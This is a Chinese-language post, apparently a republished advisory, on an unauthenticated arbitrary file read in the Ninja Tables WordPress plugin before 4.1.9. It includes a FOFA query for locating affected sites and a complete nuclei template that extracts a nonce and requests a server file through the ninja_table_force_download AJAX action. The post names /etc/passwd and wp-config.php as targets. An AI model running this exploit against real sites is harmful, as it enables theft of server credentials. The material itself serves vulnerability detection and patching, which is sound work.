Ninja Tables 未授权任意文件读取漏洞

漏洞信息

漏洞名称: Ninja Tables 未授权任意文件读取漏洞

漏洞类型: 文件读取

漏洞等级: 高危

漏洞描述: Ninja Tables是WordPress的一个插件,用于创建和管理表格数据,广泛应用于需要展示结构化数据的网站中。该插件因其易用性和功能性,在WordPress社区中颇受欢迎。此次发现的漏洞影响版本低于4.1.9的Ninja Tables插件。该漏洞属于未授权任意文件读取类型,技术根源在于插件在处理’ninja_table_force_download’ AJAX动作时,未对’url’参数进行充分验证,导致攻击者可以构造恶意请求,读取服务器上的敏感文件,如’/etc/passwd’或’/wp-config.php’。这一漏洞的存在使得攻击者无需任何认证即可利用,极大地降低了攻击门槛,增加了被利用的风险。攻击者成功利用此漏洞后,可以获取服务器上的敏感信息,可能导致更严重的安全事件,如服务器被完全控制。由于漏洞利用简单且影响范围广,建议所有使用受影响版本的用户立即升级到4.1.9或更高版本以修复此漏洞。

产品厂商: Ninja Tables

产品名称: Ninja Tables

影响版本: version < 4.1.9

搜索语法: body=”/wp-content/plugins/ninja-tables/“

来源: https://github.com/projectdiscovery/nuclei-templates/blob/45d01b5a7cfdf8454f2cc4989894f4b62709e824/http%2Fvulnerabilities%2Fwordpress%2Fwp-ninja-tables-lfi.yaml

类型: projectdiscovery/nuclei-templates:github issues

POC详情

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58

id: wp-ninja-tables-lfi

info:
name: Ninja Tables <4.1.9 - Unauthenticated Arbitrary File Read
author: xbow,DhiyaneshDk
severity: high
description: |
The Ninja Tables plugin for WordPress (versions < 4.1.9) is vulnerable to an unauthenticated arbitrary file download vulnerability.The issue exists due to the improper validation of the 'url' parameter in the 'ninja_table_force_download' AJAX action, which allows an unauthenticated attacker to download sensitive files from the server, such as '/etc/passwd' or '/wp-config.php'.
remediation: Update the Ninja Tables plugin to version 4.1.9 or later.
reference:
- https://xbow.com/blog/xbow-ninja-tables/
- https://ninjatables.com/docs/change-log/#521-date-july-9-2025
metadata:
verified: true
max-request: 2
fofa-query: body="/wp-content/plugins/ninja-tables/"
tags: ninja-tables,file-download,wordpress,unauth

flow: http(1) && http(2)

http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}

redirects: true

matchers:
- type: dsl
dsl:
- contains(body, "ninja_table")
internal: true

extractors:
- type: regex
name: public_nonce
part: body
group: 1
regex:
- '"ninja_table_public_nonce":"([a-z0-9]+)"'
internal: true

- raw:
- |
GET /wp-admin/admin-ajax.php?action=ninja_table_force_download&url=/etc/os-release&ninja_table_public_nonce={{public_nonce}} HTTP/1.1
Host: {{Hostname}}

matchers:
- type: dsl
dsl:
- contains(content_type, "application/octet-stream")
- status_code == 200
- contains(body, "PRETTY_NAME=")
condition: and



Ninja Tables 未授权任意文件读取漏洞
http://example.com/2025/07/15/github_1834217067/
作者
lianccc
发布于
2025年7月15日
许可协议